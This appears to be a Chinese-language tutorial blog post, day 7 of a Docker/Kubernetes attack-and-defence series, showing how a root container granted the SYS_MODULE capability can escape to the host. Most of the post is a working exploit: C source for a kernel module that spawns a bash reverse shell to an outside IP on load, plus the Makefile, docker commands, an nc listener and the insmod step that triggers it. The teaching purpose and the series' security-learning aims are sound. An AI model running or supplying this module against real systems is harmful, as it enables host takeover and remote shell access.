iT邦幫忙

2023 iThome 鐵人賽

DAY 7
0

Yes

  • 參考資料 : Container Escape: All You Need is Cap

  • 如果容器僅有給予 SYS_MODULE 的權限,則在有 root 的身分下,則可透過安裝 linux driver 方式進行逃逸。相關程式如下所示 :

  1. test.c
#include<linux/init.h>
#include<linux/module.h>
#include<linux/kmod.h>

MODULE_LICENSE("GPL");

static int start_shell(void){
char *argv[] ={"/bin/bash","-c","bash -i >& /dev/tcp/192.168.75.159/8888 0>&1", NULL};
static char *env[] = {
"HOME=/",
"TERM=linux",
"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL };
return call_usermodehelper(argv[0], argv, env, UMH_WAIT_PROC);
}

static int init_mod(void){
return start_shell();
}

static void exit_mod(void){
return;
}
module_init(init_mod);
module_exit(exit_mod);
  1. Makefile
obj-m +=test.o

all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
  1. 透過 make 進行編譯出 .ko 檔案

  2. 建立容器後,將 .ko 檔案搬入容器內。

docker run --rm --name sys-module --cap-add SYS_MODULE  -it aeifkz/my-ubuntu:v1.0 bash ;

# 透過 docker cp 將檔案搬移到容器的根目錄下
docker cp test.ko sys-module:/ ;
  1. 外部攻擊機監聽對應的 port 號碼
nc -lvnp 8888 ;
  1. 在容器內部安裝 driver,此時就會反打一個 reverse shell 回去
insmod test.ko ;
lsmod | grep test ;
  1. 測試完之後移除 driver。
rmmod test ;
  • 今日總結 :
    • 本日回顧 :
      • 這個逃逸手法透過安裝驅動程式去進行,有趣的地方是它可以穿透多層容器並將 driver 安裝到宿主機的 kernel 內,等到後面講 K8s 用 minikube 作為範例時會再次見識到它的威力。 /images/emoticon/emoticon39.gif
    • 次日預告 :
      • 接下來最後一戰,會拔掉容器全部的權限只讓使用者身分是 root,但是會掛載一些機敏的資料進去利用,就讓各位期待一下到底是掛了甚麼讓權限全拔掉的情況下還能夠進行利用。/images/emoticon/emoticon37.gif

上一篇
Day06 - (攻擊) 容器逃逸手法 - cgroups 機制介紹及逃逸手法
下一篇
Day08 - (攻擊) 容器逃逸手法 - docker.sock
系列文
怕痛的我把 Docker、K8s 攻擊、防禦、偵測力點滿就對了63
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言